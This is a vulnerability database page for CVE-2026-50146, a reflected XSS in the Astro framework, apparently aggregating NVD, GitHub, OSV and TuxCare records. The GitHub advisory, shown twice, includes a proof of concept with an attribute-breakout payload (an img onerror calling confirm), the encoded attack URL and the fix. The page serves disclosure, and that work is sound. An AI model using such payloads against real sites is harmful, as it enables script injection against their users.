CVE-2026-50146
Astro: Reflected XSS via unescaped slot name
Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
Astro: Reflected XSS via unescaped slot name
Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
- Record
CVE-2026-50146- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
EUVDEUVD-2026-38335
7.1
Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
- Record
EUVD-2026-38335- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8hv8-536x-4wqp
7.1
Astro: Reflected XSS via unescaped slot name
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
- Record
GHSA-8hv8-536x-4wqp- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-79, CWE-80
- Updated
- 2026-11-02
NVD
7.1
Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
- Record
CVE-2026-50146- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
OSV
7.1
Astro: Reflected XSS via unescaped slot name
Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.
- Record
CVE-2026-50146- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
OSVGHSA-8hv8-536x-4wqp
7.1
Astro: Reflected XSS via unescaped slot name
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
- Record
GHSA-8hv8-536x-4wqp- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-79, CWE-80
- Updated
- 2026-11-02
Show 18 moreShow less
OSVCLSA-2026-1783904627 No score
TuxCare security update for astro (2 CVEs)
TuxCare rebuilt astro to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1783904627- Updated
- 2026-11-02
OSVCLSA-2026-1784943142 No score
TuxCare security update for astro (1 CVE)
TuxCare rebuilt astro to address 1 CVE. Fixed in 1.9.2-tuxcare.4.
- Record
CLSA-2026-1784943142- Updated
- 2026-11-02
OSVCLSA-2026-1784943144 No score
TuxCare security update for astro (1 CVE)
TuxCare rebuilt astro to address 1 CVE. Fixed in 2.10.15-tuxcare.4.
- Record
CLSA-2026-1784943144- Updated
- 2026-11-02
OSVCLSA-2026-1784943177 No score
TuxCare security update for astro (1 CVE)
TuxCare rebuilt astro to address 1 CVE. Fixed in 3.6.5-tuxcare.5.
- Record
CLSA-2026-1784943177- Updated
- 2026-11-02
OSVCLSA-2026-1792160948 No score
TuxCare security update for @astrojs/prism (2 CVEs)
TuxCare rebuilt @astrojs/prism to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1792160948- Updated
- 2026-11-02
OSVCLSA-2026-1792160953 No score
TuxCare security update for @astrojs/underscore-redirects (1 CVE)
TuxCare rebuilt @astrojs/underscore-redirects to address 1 CVE. Fixed in 3.6.5-tuxcare.5.
- Record
CLSA-2026-1792160953- Updated
- 2026-11-02
OSVCLSA-2026-1792160956 No score
TuxCare security update for @astrojs/upgrade (2 CVEs)
TuxCare rebuilt @astrojs/upgrade to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1792160956- Updated
- 2026-11-02
OSVCLSA-2026-1792161549 No score
TuxCare security update for @astrojs/internal-helpers (2 CVEs)
TuxCare rebuilt @astrojs/internal-helpers to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1792161549- Updated
- 2026-11-02
OSVCLSA-2026-1792161557 No score
TuxCare security update for @astrojs/internal-helpers (1 CVE)
TuxCare rebuilt @astrojs/internal-helpers to address 1 CVE. Fixed in 2.10.15-tuxcare.4.
- Record
CLSA-2026-1792161557- Updated
- 2026-11-02
OSVCLSA-2026-1792161558 No score
TuxCare security update for @astrojs/internal-helpers (1 CVE)
TuxCare rebuilt @astrojs/internal-helpers to address 1 CVE. Fixed in 3.6.5-tuxcare.5.
- Record
CLSA-2026-1792161558- Updated
- 2026-11-02
OSVCLSA-2026-1792161698 No score
TuxCare security update for @astrojs/prism (1 CVE)
TuxCare rebuilt @astrojs/prism to address 1 CVE. Fixed in 1.9.2-tuxcare.4.
- Record
CLSA-2026-1792161698- Updated
- 2026-11-02
OSVCLSA-2026-1792161699 No score
TuxCare security update for @astrojs/prism (1 CVE)
TuxCare rebuilt @astrojs/prism to address 1 CVE. Fixed in 2.10.15-tuxcare.4.
- Record
CLSA-2026-1792161699- Updated
- 2026-11-02
OSVCLSA-2026-1792161700 No score
TuxCare security update for @astrojs/prism (1 CVE)
TuxCare rebuilt @astrojs/prism to address 1 CVE. Fixed in 3.6.5-tuxcare.5.
- Record
CLSA-2026-1792161700- Updated
- 2026-11-02
OSVCLSA-2026-1792161760 No score
TuxCare security update for @astrojs/studio (2 CVEs)
TuxCare rebuilt @astrojs/studio to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1792161760- Updated
- 2026-11-02
OSVCLSA-2026-1792161780 No score
TuxCare security update for @astrojs/underscore-redirects (2 CVEs)
TuxCare rebuilt @astrojs/underscore-redirects to address 2 CVEs. Fixed in 4.16.19-tuxcare.2.
- Record
CLSA-2026-1792161780- Updated
- 2026-11-02
OSVCLSA-2026-1792161788 No score
TuxCare security update for @astrojs/underscore-redirects (1 CVE)
TuxCare rebuilt @astrojs/underscore-redirects to address 1 CVE. Fixed in 2.10.15-tuxcare.4.
- Record
CLSA-2026-1792161788- Updated
- 2026-11-02
OSVCLSA-2026-1792161856 No score
TuxCare security update for @astrojs/upgrade (1 CVE)
TuxCare rebuilt @astrojs/upgrade to address 1 CVE. Fixed in 3.6.5-tuxcare.5.
- Record
CLSA-2026-1792161856- Updated
- 2026-11-02
OSVCLSA-2026-1792454046 No score
TuxCare security update for astro (9 CVEs)
TuxCare rebuilt astro to address 9 CVEs. Fixed in 5.18.2-tuxcare.1.
- Record
CLSA-2026-1792454046- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
astronpm |
before 6.3.3 | 6.3.3 |
astroTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
astroTuxCare:npm |
1.9.2-tuxcare.0 up to 1.9.2-tuxcare.4, plus listed versions 1.9.21.9.2-tuxcare.11.9.2-tuxcare.21.9.2-tuxcare.3 |
1.9.2-tuxcare.4 |
astroTuxCare:npm |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.4, plus listed versions 2.10.152.10.15-tuxcare.12.10.15-tuxcare.22.10.15-tuxcare.3 |
2.10.15-tuxcare.4 |
astroTuxCare:npm |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.5, plus listed versions 3.6.53.6.5-tuxcare.13.6.5-tuxcare.23.6.5-tuxcare.33.6.5-tuxcare.4 |
3.6.5-tuxcare.5 |
@astrojs/prismTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
@astrojs/underscore-redirectsTuxCare:npm |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.5, plus listed versions 3.6.53.6.5-tuxcare.13.6.5-tuxcare.23.6.5-tuxcare.3 |
3.6.5-tuxcare.5 |
@astrojs/upgradeTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
@astrojs/internal-helpersTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
@astrojs/internal-helpersTuxCare:npm |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.4, plus listed versions 2.10.152.10.15-tuxcare.12.10.15-tuxcare.22.10.15-tuxcare.3 |
2.10.15-tuxcare.4 |
Show 9 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@astrojs/internal-helpersTuxCare:npm |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.5, plus listed versions 3.6.53.6.5-tuxcare.13.6.5-tuxcare.23.6.5-tuxcare.3 |
3.6.5-tuxcare.5 |
@astrojs/prismTuxCare:npm |
1.9.2-tuxcare.0 up to 1.9.2-tuxcare.4, plus listed versions 1.9.21.9.2-tuxcare.11.9.2-tuxcare.2 |
1.9.2-tuxcare.4 |
@astrojs/prismTuxCare:npm |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.4, plus listed versions 2.10.152.10.15-tuxcare.12.10.15-tuxcare.22.10.15-tuxcare.3 |
2.10.15-tuxcare.4 |
@astrojs/prismTuxCare:npm |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.5, plus listed versions 3.6.53.6.5-tuxcare.13.6.5-tuxcare.23.6.5-tuxcare.3 |
3.6.5-tuxcare.5 |
@astrojs/studioTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
@astrojs/underscore-redirectsTuxCare:npm |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.2, plus listed versions 4.16.194.16.19-tuxcare.1 |
4.16.19-tuxcare.2 |
@astrojs/underscore-redirectsTuxCare:npm |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.4, plus listed versions 2.10.152.10.15-tuxcare.12.10.15-tuxcare.22.10.15-tuxcare.3 |
2.10.15-tuxcare.4 |
@astrojs/upgradeTuxCare:npm |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.5, plus listed versions 3.6.53.6.5-tuxcare.13.6.5-tuxcare.23.6.5-tuxcare.3 |
3.6.5-tuxcare.5 |
astroTuxCare:npm |
5.18.2-tuxcare.0 up to 5.18.2-tuxcare.1, plus listed versions 5.18.2 |
5.18.2-tuxcare.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-50146 is a high vulnerability (CVSS 7.1) in Astro, published June 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in astro 6.3.3.